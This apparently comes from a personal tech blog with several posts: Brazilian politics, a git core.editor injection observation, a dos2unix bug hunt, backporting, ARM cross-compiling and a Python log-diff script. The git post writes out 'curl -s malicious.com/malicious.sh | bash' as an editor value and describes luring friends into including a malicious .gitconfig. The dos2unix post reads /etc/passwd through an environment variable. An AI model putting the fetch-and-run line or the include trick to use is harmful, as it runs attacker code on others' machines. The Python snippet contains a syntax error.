Core Code

Some of you already knows that I’m from Brazil, I thought a bit before to post it, because that is a tech blog not about politicians or whatever, but I feel that I need to make people know what is happening here. I understand that the majority of the people that live in another countries like to live your life in the peace of you own issues, but since we are a global env I always thought that it is strongly necessary to at least try to understand what is happening around.
Last Sunday we had our elections, and despite all the warnings coming from a lot of specialists, Harvard being one of them, the majority of Brazilians elected someone that has a huge profile as fascists. Some people may ask that it happened in another countries and everything is ok so far. Well, Brazil used to be a peaceful country, despite all the security issues the people was in general friendly with each other, no hateful things happening a lot and so on…but these days things are quite complicated, unfortunately. Gay people, black people, the poorest ones are being discriminated as never. And that is really sad. Brazil is a multicultural country with people from all around the world in its bases and that is what make us a so different and unique country. Last night 29 of September 2018 a very sad episode happened. During a hallowen party in a private school in my home town (Natal) a mother dressed her own son as a slave. Not only that, she also posted his pic on the instagram, and after being very criticized on the webs, deleted her profile but also posted [1]. Translated: “don’t read books about brazilian history. They says that slavery of black people existed in Brazil, but that is a lie. And don’t try to argue with anyone about that, because they will treat you like shit, a racist person…”. Just to clarify, slavery really happened in Brasil and it’s a very sad part of our history you can find some info around the webs, like this one [2].
That is only a little piece of what is happening here, beyond that we had a bunch of bigots saying broadly that gay people need to die and woman need to be raped. The authorities here are quite sleeping and practically endorsing this behaviors when they don’t do nothing!
Well, I just would like to show you what is happening here, and how that is sad for our recent democracy. :(.
You can see the article about the mother and the slave son here [3]. Sorry for that!

[1]

[2] https://en.wikipedia.org/wiki/Slavery_in_Brazil
[3] https://g1.globo.com/rn/rio-grande-do-norte/noticia/2018/10/29/mae-fantasia-filho-de-escravo-para-festa-de-halloween-em-escola-de-natal-vamos-abrasileirar-esse-negocio.ghtml

Once more I thought I had found a vul in an open source, but again I was anxious , hehe. This time it was git software. What I saw was that it’s possible to “inject” code into [core]  editor = . You can do a simple test yourself. Just edit your .git/config adding some line like:

[core]
editor = ls -la /tmp/

When you run: git commit it will call your editor and in that time it will execute any command line you put in editor variable. It include a curl -s malicious.com/malicious.sh | bash – && vim. But as it was clarified to me by Peff (Jeff King) on git list, it’s not a vul, and why? The explanation is quite simple, git clone don’t get .git/conf from the other side. It creates a new one, so there is no way someone exploited that, unless he gets access to your machine. And basically that is the way you can prank someone that uses git :).

[edited/added]
If you aren’t a good person at all, you can also push a repository with a .gitconfig file on it and a editor = some malicious command here, and gracefully ask to your friends git clone it and naively add the .gitconfig file to git local config: git config –local include.path ../.gitconfig. (But as I said you are $%%@ if you do that).
For the sake of information, git community is fulled aware of that already, as you can see here [1]. So, don’t be concerned, because the git engines guys/girls behind the scenes are already making you safe :)! – Thanks git community!

[1] https://public-inbox.org/git/[email protected]/

It was one of my greats regret. I by it with 32gb memory and think “owwwwwoo it will be working for at least 5/10 years”. First thing that break was the fan, it starts to make some noise…and now see by the pictures yourself. I can avoid to say that I’m very piss off very angry, very frustrated…see the pics and don’t want to say anything more.

Don’t buy it. Does not worth at all!!!

Life as Security Engineer is more funny when you put some time looking through codes and trying to find vulnerabilities and fix it, indeed!
That was one of my first attempts that I’ll tell you and how I failed miserably :). Well sometimes s-happens. But in the second round I could find a memory leak \o/. It wasn’t a expose sensitive info or execute arbitrary code but at least something was found.
But lets start in the begin…

There are plenty of vulnerabilities around and thanks to Intel more and more every day (I’m kidding Intel <3). So, in order to starting in this kind of adventure I grab some books, and start to read about how are the more often vuls, what kind of techniques are used to fix or find it and so on. In all those reads one thing is repeated constantly “take always a look in points where the user entry some info”. Yeah, users + vulnerabilities can really blow up things in a software.  As a nice code to look I thought in one that use sometimes to time: dos2unix package. It’s a nice tool and useful one. As my first attempt was to look in code were users can input something and so far so good everything looks fine but one variable grabbed my attention localedir. It’s a buffer of 1024 size. Its content is filled by some internal functions with the value of DOS2UNIX_LOCALEDIR env variable. So I thought what if I set this with a large size and try to overflow it? Here was my first failed because the code check this:  if (strlen(ptr) < sizeof(localedir)), where ptr = getenv(“DOS2UNIX_LOCALEDIR”). It was so disappointed for me :(. So I saw that this variable is used to be printed in stdout and I thought “hm, what if I try to put some bash code there  and see what happens” – That was my second fail :(. If you do something like: export DOS2UNIX_LOCALEDIR=”`tail ../../../etc/passwd`” by example you will end up with the content of tail into the env var. At first I thought I was executing the command into it, but it wasn’t the case 😦 I didn’t pay attention in the acute accent and what it does (execute the command and return its ouput). It was a shame to report that so happy it was a vul issue. But ok, we learn with mistakes…following in the code I just decided to run valgrind on it and voila! I got a memory leak. Well, not the ideal one, but it was a leak. What happens is that in the code a variable called pFlag is allocated but not freed and that is a memory leak, but unfortunately (again) this happen in program/process that runs just on time, what means that in the end of it the OS request the memory and who cares about that leak. :(. Well, lesson learned.

Backports are those thing that are done every time. Even if you aren’t looking right now to it :P. Most distros does a lot of it.

What’s a backport? Backport is when you need to get code from, let’s say,  an upstream version and get it back to fix or fit in an old version than upstream one. Sometimes to do that is quite simply, if the patch’s piece that touches the code was not changed yet in upstream version or if was changed but in a minimum way. Otherwise sometimes you need to practically do a ‘surgery’ at the code to backport some pieces of the fixe. Things can become a nightmarry if you have a bunch of code to touch and a bunch of them were already changed in upstream. If you don’t have choice other than fix/backport I’ll share with you some of my steps that maybe help you, but I’m also open to hear from you what the methods you use in this situation.

Do backports often can be resume in these few steps:

1. get the package code to backport
2. get the patches to fix into backported version
3. apply the patches
4. build the package and pray to not see any errors/warnings or regression (here in the test phase)

For me things works like this…Once I get the package source I copy with another name: git-version and git init and  git add  * creating a git repository to handle with my patches. Sometimes the package has a git upstream, I also get this one. Here you probably wondering ‘why not just get the upstream git and jump to the branch or commit that match with the package’, well, sometimes it doesn’t happen, there is no match between packages on the distros and upstream. It happens because in distros it’s often to keep distro-version (let’s call this way).  Continue… with my git-version I start to apply the patches using git apply --check. It gives you a test check to see if the patch you want to apply really works or fails. If it works (yataaaaa! –  Japanese word for: uhuuuuuuuuu), if not (zanen desu ne! – Japanese word for: it’s a pity). Second scenario will request from you a lot of job sometimes, or just a few adjustments. But the case here is that if you use the git-version you can use things like gitgutter if you use vim and follow the changes you are doing at the moment you are typing – that’s really nice!. When I finish my re-patch or backport I often commit it as the same name of the patch I’m based on, this way things becomes more easy to track and checkout. Supposing everything was ok with the re-patch is time to generate the patch file: git format-patch -1 <sha-code> will do it for you. Now it’s just a question of apply against the original package source (quilt, dpatch, patchless …), build and check if everything goes fine 🙂

Some other tools and tips would be:

• vimdiff: for show the diffs between two files in the same window, but…
• diff: you can also use diff -Naur old new | less -S , and check your diff

Yep, the title is exactly that you got. If you don’t have a raspberry PI (like me) your dreams to play with  ARM programming doesn’t end yet. I’m saying that because you can do everything just using your old friend x86_64.
How to do that? First let’s install some cross compile (gcc, in our case)

$ sudo apt-get install libc6-armel-cross libc6-dev-armel-cross
$ sudo apt-get install binutils-arm-linux-gnueabi
$ sudo apt-get install libncurses5-dev

Once you did that, type in your terminal: arm-linux-gnueabi-gcc  if everything goes fine it’ll be there. Only thing you need to do now is coding and that has no secret.

#include <stdio.h>

int main(void) {
    printf("Hello World!\n");

    return 0;
}

$ arm-linux-gnueabi-gcc -o hello hello.c

Now you compiled how to run it? The answers will be qemu-arm. Install it: sudo apt-get install qemu . After that try to run your ARM executable.

Everything goes OK? Probably no. It’s because your executable needs some shared libs, yep, it’s a pain. But you can fix it in two flavors: i) qemu-arm -L /usr/arm-linux-gnueabi/  hello; ii) recompiling passing a static flag: arm-linux-gnueabi-gcc -static -o hello hello.c , and so run qemu-arm hello. Between those two ways the first is the better, since you don’t want your executable with a giant size that is the result of all the lib that will be put into it. But for test cases you can do it anyway.  You can see other approaches here

In a scenario where you have a board you can just scp your code to there and run, in cases you haven’t, qemu-arm and cross compile can works exactly the way you need.

References:

[1] http://tuxthink.blogspot.com.br/2012/04/executing-arm-executable-in-x86-using.html
[2] https://www.acmesystems.it/arm9_toolchain
[3] https://stackoverflow.com/questions/16158994/qemu-arm-cant-run-arm-compiled-binary

These days I was just thinking. Sometimes when you build something for debian by example you have a nice .diff it generates in /temp, but how about all those builds or compiles you do and don’t have any diff to check if anything is different?
The case is that is very easy to check a log difference, you just need to run diff log1 log2. Ok, it’s easy, it’s nice, but if you want to play a little bit with python you can do something like  this:

import sys
from difflib import unified_diff

# first read the previous or original log
_log1 = None
with open('log1', 'r') as log1:
    _log1 = log1.read()

# now get the output log 'dynamically' from your program
log2 = sys.stdin.read()

# finally, call unified_diff for them
from line in unified_diff(_log1, log2, fromfile='log1.txt', tofile='log2.txt'):
    sys.stdout.write(line)

Now when you run this it’ll show you a nice unified diff format the differences between these log files.
I know it’s very silly, but still useful in some way 🙂

References:
[1] difflib